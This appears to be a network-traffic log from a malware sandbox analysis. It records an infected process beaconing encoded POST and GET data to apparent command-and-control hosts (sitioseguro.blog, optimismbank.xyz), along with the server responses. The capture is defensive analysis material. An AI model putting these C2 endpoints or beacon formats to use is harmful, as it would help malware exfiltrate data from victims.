Nov 20, 2024 08:34:50.722913027 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Wed, 20 Nov 2024 07:34:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P07bnp%2BSyO9vb0erM0IpuqnUhwDShPVOuJ8koO%2FXvM2DOLYmvcXMPosuNCFzfKLuSOBjTuO5dTmwoY%2Ft1VxJFMHgAC%2BFY45E%2BOnH4K4gHYzmcwaw10zdIco7m5%2F3fqNerdLTHT0pYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56c2862eed5e5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1550&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=846&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome fri
Nov 20, 2024 08:34:50.722997904 CET	96	IN	Data Raw: 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 Data Ascii: endly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50041	172.67.162.39	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:52.758469105 CET	1859	OUT	POST /arvb/ HTTP/1.1 Host: www.sitioseguro.blog Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.sitioseguro.blog Referer: http://www.sitioseguro.blog/arvb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 55 44 34 77 70 47 50 4f 65 4f 4b 4c 4f 66 6f 74 47 51 71 61 56 55 54 73 74 61 38 4d 6b 74 57 59 58 65 46 72 31 6f 7a 39 33 6e 4e 6d 49 2b 53 78 47 41 58 63 50 38 75 6d 6e 66 42 33 37 66 77 31 4a 58 63 38 35 6b 69 54 6a 77 4e 33 32 7a 30 48 53 61 34 52 6c 74 45 6f 4d 38 71 46 72 77 59 78 50 68 79 77 70 78 4d 33 32 6e 30 72 46 33 56 45 74 58 7a 71 48 73 6c 35 78 32 77 4e 78 42 57 69 52 66 75 73 68 76 70 5a 63 67 71 74 34 4a 2b 44 30 36 63 2b 65 49 55 63 65 30 72 4a 34 51 31 31 58 68 35 4c 4a 61 57 36 6f 67 61 35 4d 59 5a 39 72 70 66 6b 4a 57 54 61 77 43 55 6e 4a 42 76 42 57 36 32 65 2b 45 54 49 33 70 62 74 73 43 44 30 45 4e 62 49 49 72 6c 2f 5a 68 52 51 44 55 46 43 66 36 38 71 4a 35 46 33 74 72 49 4f 35 30 6a 6d 64 41 67 76 42 53 59 30 42 30 38 41 6d 43 58 48 6b 74 43 57 4e 4b 79 35 43 51 79 33 59 59 32 77 48 77 44 62 4f 4b 68 58 75 51 36 5a 6b 52 2f 48 43 62 70 76 68 2f 2f 7a 6c 4a 4c 78 34 77 6f 50 32 34 2b 70 77 59 6c 66 4f 6b 71 75 42 67 52 43 62 63 41 4b 77 39 62 63 63 [TRUNCATED] Data Ascii: GR54yHZ8=UD4wpGPOeOKLOfotGQqaVUTsta8MktWYXeFr1oz93nNmI+SxGAXcP8umnfB37fw1JXc85kiTjwN32z0HSa4RltEoM8qFrwYxPhywpxM32n0rF3VEtXzqHsl5x2wNxBWiRfushvpZcgqt4J+D06c+eIUce0rJ4Q11Xh5LJaW6oga5MYZ9rpfkJWTawCUnJBvBW62e+ETI3pbtsCD0ENbIIrl/ZhRQDUFCf68qJ5F3trIO50jmdAgvBSY0B08AmCXHktCWNKy5CQy3YY2wHwDbOKhXuQ6ZkR/HCbpvh//zlJLx4woP24+pwYlfOkquBgRCbcAKw9bccu2eB9jSkpfqiTqdlLUBgZIMf65Rw/1oYRYLCxgJAgecBVMQfutpUtyItQHNexSDf7vZ90y7Wa6RCUVDO6PhyVKRGjvOv5zKmqsPrflxmLvsLcl2/64VKjNGFTmVlPq276lqzQFfdEH3sezYrZDC8Q8WuOwVITJLvdvd05+e2gxi1HJvNyqi0IP4y8GwKlo2gVYCKgRMZmv2PBPkwXvlqgSjXEALfyg9P0CCubcbqqd2MrxsEEy28ZUcqDBDNlJu/8fJJ0Dyj3rpn2EePHHUU25GXOFFCSE8VFjKyrBiwePdmepGubUy6G1elc5mQOHNizS6sfb1FxITNq/mD/8KT4PJJ0U6I1feo1C35QB+bV67IEWI1HO1BZSDWH+GoanOTphE6l/jV/g/78+GHGRBzMcszV7VdYOvNF0RrdB82wXCWxISy3ZTzkB3L8A83t26Qw7GKilwpgovja7QeVIjWCoVLARKDDNQhHbQZKxqySXEafx6QVPG3c+kDX8dlDUrijZlfCIWaTKdru7TcfOmcolqXXbi6xhemE2tWOsaeTAzqFN14s9GZGPZlL+voXm+C4ouB2Lu9h90Z/9dval9siz9LYJtpazvFX8LdUWhlSjBto89BKmYwNptCPEiu63ZNfYPbGrPKJf6CqzXadOACwvRYIQWWfLSDQ+ [TRUNCATED]
Nov 20, 2024 08:34:53.275191069 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Wed, 20 Nov 2024 07:34:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FgGas7RfuTt8VXnl9rLo%2BkFAyMOauGoS026PjdFO2%2F5MSRNiE4mev%2FZr13WV9562hIaQ2I5LTCHpXR6PRbMnXrnd29npnGbcWgU7RhAIiIIHXydul3gjA6KoyXEJ2l7CASl2emP8hA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56c2961ae0423b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1599&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1859&delivery_rate=0&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friend
Nov 20, 2024 08:34:53.275213003 CET	93	IN	Data Raw: 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d Data Ascii: ly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50043	172.67.162.39	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:55.305727005 CET	558	OUT	GET /arvb/?GR54yHZ8=ZBQQqxbud8SVIvMkbBf/fVH1me8478TvMeRY2MiH3kRRc/z7OAWaNoWdi819/s5bJQ0i5xulgwkm2DEXU68//topbf+A00Q8GVm5yCYkyRQ3ElhjsG3EX+N+jW0L22iONcil9J4=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.sitioseguro.blog Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:34:55.824734926 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:34:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2IbFCCEqn4qLUSz%2BDdu3a33IFQl5F%2BHhPAVPGmv7haezXLt8rcMymv1DfiYOC6SHZrzAkRBfVw6Ok8WEvbRRvgxCVp4u24nOWcJkqIDs5bOH8uGdfJKpngvoymWve0O%2BkM2Bmode5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56c2a61fab4258-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=558&delivery_rate=0&cwnd=184&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 61 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 [TRUNCATED] Data Ascii: 2dae<!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-block}.ma
Nov 20, 2024 08:34:55.824788094 CET	1236	IN	Data Raw: 69 6e 2c 2e 77 72 61 70 70 65 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 2c 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 Data Ascii: in,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Roboto;f
Nov 20, 2024 08:34:55.824821949 CET	1236	IN	Data Raw: 70 3a 2d 32 34 30 70 78 3b 72 69 67 68 74 3a 2d 33 36 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 20 2e 73 76 67 2d 74 77 6f 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 74 6f 6d 3a 2d 32 Data Ascii: p:-240px;right:-360px;z-index:-1}.window-main .svg-two{position:absolute;bottom:-258px;left:-223px;z-index:-1}.window-main__title{text-align:center;padding-bottom:1.875rem;position:relative;font-weight:500;line-height:1.2777777778}.window-main
Nov 20, 2024 08:34:55.824857950 CET	672	IN	Data Raw: 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 38 37 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 3a 31 2e 35 72 Data Ascii: main__item{padding-left:.875rem}}@media (max-width:20em){.window-main{padding:1.5rem}.window-main__title{font-size:1.5rem}.window-main__body{margin-top:1.5rem;font-size:.875rem}.window-main__info{margin-bottom:1.5rem}.window-main__list{padding
Nov 20, 2024 08:34:55.824889898 CET	1236	IN	Data Raw: 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 34 2e 33 30 34 38 37 38 30 34 38 38 72 65 6d 20 2b 20 32 39 2e 30 32 34 33 39 30 32 34 33 39 76 77 20 2c 38 2e 39 33 Data Ascii: @supports not (padding-left:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)){.window-main{padding-left:calc(1.5rem + 7.4375*(100vw - 20rem)/ 25.625)}}@supports (padding-right:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.937
Nov 20, 2024 08:34:55.824922085 CET	1236	IN	Data Raw: 6f 77 2d 6d 61 69 6e 5f 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2e 39 31 34 36 33 34 31 34 36 33 72 65 6d 20 2b 20 32 2e 39 32 36 38 32 39 32 36 38 33 76 77 20 2c 32 2e 32 35 72 65 6d 29 7d 7d Data Ascii: ow-main__title{font-size:clamp(1.5rem ,.9146341463rem + 2.9268292683vw ,2.25rem)}}@supports not (font-size:clamp(1.5rem ,0.9146341463rem + 2.9268292683vw ,2.25rem)){.window-main__title{font-size:calc(1.5rem + .75*(100vw - 20rem)/ 25.625)}}@sup
Nov 20, 2024 08:34:55.824956894 CET	1236	IN	Data Raw: 30 30 76 77 20 2d 20 32 30 72 65 6d 29 2f 20 32 35 2e 36 32 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 30 2e 37 35 72 65 6d 20 2c 30 2e 36 35 32 34 33 39 30 32 34 34 72 65 6d 20 2b 20 30 Data Ascii: 00vw - 20rem)/ 25.625)}}@supports (padding-left:clamp(0.75rem ,0.6524390244rem + 0.487804878vw ,0.875rem)){.window-main__item{padding-left:clamp(.75rem ,.6524390244rem + .487804878vw ,.875rem)}}@supports not (padding-left:clamp(0.75rem ,0.6524
Nov 20, 2024 08:34:55.825069904 CET	1236	IN	Data Raw: 36 31 20 32 38 37 2e 33 36 38 20 32 38 35 2e 32 32 38 20 32 35 39 2e 32 35 43 33 31 39 2e 36 39 36 20 32 33 31 2e 31 33 33 20 33 36 33 2e 30 31 38 20 32 36 32 2e 33 35 36 20 33 38 31 2e 39 39 31 20 33 32 38 2e 39 39 43 32 38 37 2e 39 39 20 34 31 Data Ascii: 61 287.368 285.228 259.25C319.696 231.133 363.018 262.356 381.991 328.99C287.99 418.472 360.522 563.421 360.522 563.421Z" fill="#00498D" /></g><g opacity="0.7" filter="url(#filter1_f_2001_5)"><ellipse cx="50.6112" cy="60.
Nov 20, 2024 08:34:55.825103045 CET	1236	IN	Data Raw: 61 63 65 4f 6e 55 73 65 22 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 46 6c 6f 6f 64 20 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 3d 22 30 22 20 72 Data Ascii: aceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="
Nov 20, 2024 08:34:55.825136900 CET	552	IN	Data Raw: 20 53 53 4c 20 63 65 72 74 69 66 69 63 61 74 65 20 69 6e 73 74 61 6c 6c 65 64 2e 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 22 3e 59 6f 75 72 20 64 6f 6d 61 69 6e 20 Data Ascii: SSL certificate installed.</li><li class="window-main__item">Your domain has an AAAA record, but the site only works with IPv4 on the server.</li></ul></div><div class="window-main__actions"><a href="https://
Nov 20, 2024 08:34:55.829943895 CET	1236	IN	Data Raw: 31 32 2e 35 33 34 22 20 63 79 3d 22 31 33 34 2e 32 39 39 22 20 72 78 3d 22 31 31 32 2e 35 33 34 22 20 72 79 3d 22 31 33 34 2e 32 39 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 6d 61 74 72 69 78 28 2d 30 2e 39 31 36 33 36 36 20 30 2e 34 30 30 33 34 Data Ascii: 12.534" cy="134.299" rx="112.534" ry="134.299" transform="matrix(-0.916366 0.400341 -0.15071 -0.988578 379.183 586.577)" fill="#15B1F9" /></g><g opacity="0.8" filter="url(#filter1_f_2001_10)"><path d="M259.743 638.552C361

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50044	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:35:00.930579901 CET	822	OUT	POST /lnyv/ HTTP/1.1 Host: www.optimismbank.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.optimismbank.xyz Referer: http://www.optimismbank.xyz/lnyv/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 45 43 4f 6f 6c 34 5a 5a 34 69 47 54 66 57 66 30 49 76 5a 42 7a 39 34 36 32 31 35 46 63 59 4b 45 66 74 54 74 59 56 2b 39 53 6f 64 2b 6d 51 6d 4e 4b 32 4f 56 6a 34 74 7a 7a 56 69 6e 55 4e 43 65 45 4b 68 78 41 32 6d 58 62 74 4d 64 50 76 70 42 50 32 54 33 71 57 38 7a 52 68 69 4e 57 4b 57 46 51 64 45 68 69 30 7a 45 33 67 62 42 4b 7a 48 67 67 6c 35 48 4a 6b 64 5a 6b 6a 50 56 2f 41 62 54 57 41 64 76 63 64 37 77 76 4d 4b 51 63 6d 6a 4a 6b 35 71 72 30 66 78 67 6b 39 54 4a 70 56 4f 36 6b 57 44 59 79 4d 79 61 57 58 2f 52 51 6f 4c 4d 6b 6e 4d 33 37 7a 34 74 59 76 31 75 58 6a 6c 51 42 2b 38 31 50 39 68 71 53 41 31 57 Data Ascii: GR54yHZ8=ECOol4ZZ4iGTfWf0IvZBz946215FcYKEftTtYV+9Sod+mQmNK2OVj4tzzVinUNCeEKhxA2mXbtMdPvpBP2T3qW8zRhiNWKWFQdEhi0zE3gbBKzHggl5HJkdZkjPV/AbTWAdvcd7wvMKQcmjJk5qr0fxgk9TJpVO6kWDYyMyaWX/RQoLMknM37z4tYv1uXjlQB+81P9hqSA1W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50045	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:35:03.477396011 CET	846	OUT	POST /lnyv/ HTTP/1.1 Host: www.optimismbank.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.optimismbank.xyz Referer: http://www.optimismbank.xyz/lnyv/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 45 43 4f 6f 6c 34 5a 5a 34 69 47 54 66 32 76 30 62 63 42 42 31 64 34 35 35 56 35 46 48 6f 4b 41 66 74 66 74 59 51 48 69 54 62 35 2b 6e 7a 79 4e 46 55 6d 56 69 34 74 7a 38 31 69 6d 58 39 43 56 45 4b 74 6d 41 33 61 58 62 75 77 64 50 75 5a 42 50 46 4c 30 73 57 38 6d 51 52 69 50 53 4b 57 46 51 64 45 68 69 30 32 52 33 67 44 42 4b 44 58 67 68 45 35 59 58 55 64 57 7a 54 50 56 70 77 62 66 57 41 64 5a 63 63 6e 4b 76 50 79 51 63 69 6e 4a 39 4d 47 6b 36 66 78 6d 71 64 53 66 6b 32 66 73 69 77 57 34 30 71 61 48 51 51 2f 35 56 65 57 57 34 55 4d 55 70 6a 59 76 59 74 74 63 58 44 6c 36 44 2b 45 31 64 71 74 4e 64 30 51 31 35 37 37 70 76 33 71 37 67 2f 56 58 51 7a 51 6e 77 79 4c 77 54 67 3d 3d Data Ascii: GR54yHZ8=ECOol4ZZ4iGTf2v0bcBB1d455V5FHoKAftftYQHiTb5+nzyNFUmVi4tz81imX9CVEKtmA3aXbuwdPuZBPFL0sW8mQRiPSKWFQdEhi02R3gDBKDXghE5YXUdWzTPVpwbfWAdZccnKvPyQcinJ9MGk6fxmqdSfk2fsiwW40qaHQQ/5VeWW4UMUpjYvYttcXDl6D+E1dqtNd0Q1577pv3q7g/VXQzQnwyLwTg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50046	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:35:06.026964903 CET	1859	OUT	POST /lnyv/ HTTP/1.1 Host: www.optimismbank.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.optimismbank.xyz Referer: http://www.optimismbank.xyz/lnyv/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 45 43 4f 6f 6c 34 5a 5a 34 69 47 54 66 32 76 30 62 63 42 42 31 64 34 35 35 56 35 46 48 6f 4b 41 66 74 66 74 59 51 48 69 54 62 78 2b 6e 44 75 4e 4b 54 53 56 34 34 74 7a 31 56 69 72 58 39 43 79 45 4b 30 4f 41 33 57 68 62 6f 30 64 50 4d 68 42 59 45 4c 30 2f 32 38 6d 56 68 69 4b 57 4b 57 71 51 64 55 6c 69 30 6d 52 33 67 44 42 4b 42 66 67 6c 56 35 59 56 55 64 5a 6b 6a 50 6a 2f 41 61 49 57 41 46 6e 63 64 53 31 76 2f 53 51 63 47 44 4a 6d 61 53 6b 6c 50 78 6b 74 64 53 58 6b 32 53 79 69 30 32 43 30 75 61 68 51 58 2f 35 56 59 66 4a 6c 77 55 76 36 69 74 4e 41 4e 49 39 50 6d 70 6a 45 2b 51 56 65 4a 4e 59 63 6e 59 66 68 64 72 4b 35 31 6a 57 6a 5a 